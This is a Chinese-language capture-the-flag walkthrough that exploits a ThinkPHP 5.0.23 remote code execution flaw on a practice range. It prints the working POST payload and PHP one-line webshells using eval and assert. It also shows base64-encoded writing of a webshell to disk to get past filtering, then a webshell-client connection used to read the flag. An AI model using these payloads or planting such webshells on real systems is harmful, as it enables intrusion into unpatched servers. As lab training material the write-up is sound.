ThinkPHP5.0.23 远程代码执行漏洞

靶场地址【安鸾渗透实战平台】http://www.whalwl.cn:8031

ThinkPHP5.0.23 远程代码执行漏洞
提示:flag在服务器根目录

直接在kali里面搜索ThinkPHP5.0.23相关漏洞

ThinkPHP5.0.23 远程代码执行漏洞

发现了 Remote Code Execution(远程代码执行漏洞)

将该漏洞cp到tp.txt文件并查看

ThinkPHP5.0.23 远程代码执行漏洞

在最下面发现该版本payload

(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

ThinkPHP5.0.23 远程代码执行漏洞

由于是post传参,所以用burp抓包或者浏览器插件

ThinkPHP5.0.23 远程代码执行漏洞

我们先访问到/index.php?s=captcha

然后通过post传参将payload写入并执行

ThinkPHP5.0.23 远程代码执行漏洞
执行成功

ThinkPHP5.0.23 远程代码执行漏洞
使用phpinfo函数验证_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

ThinkPHP5.0.23 远程代码执行漏洞

‘<?php @eval($_POST[\'a\']);?>’;file_put_contents(‘shell.php’,&a);echo ‘ok’;

我们创建一个shell2.php文件touch shell2.php

ThinkPHP5.0.23 远程代码执行漏洞

向其中写入一句话木马echo “<?php @eval($_POST[\'a\']);?>” >shell2.php

但是访问的时候出现错误

ThinkPHP5.0.23 远程代码执行漏洞

尝试编码执行echo “%3c%3fphp+%40eval(%24_POST%5b123%5d)%3b%3f%3e” > shell2.php

ThinkPHP5.0.23 远程代码执行漏洞
仍然连接失败

尝试使用base64编码写入并且使用assert代替eval

aaa<?php @assert($_POST['xss']);?>bbb

YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg==

ThinkPHP5.0.23 远程代码执行漏洞

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php

成功解析

ThinkPHP5.0.23 远程代码执行漏洞

使用蚁剑连接
注意要使用chr或者base64
ThinkPHP5.0.23 远程代码执行漏洞
在服务器跟目录发现flag

ThinkPHP5.0.23 远程代码执行漏洞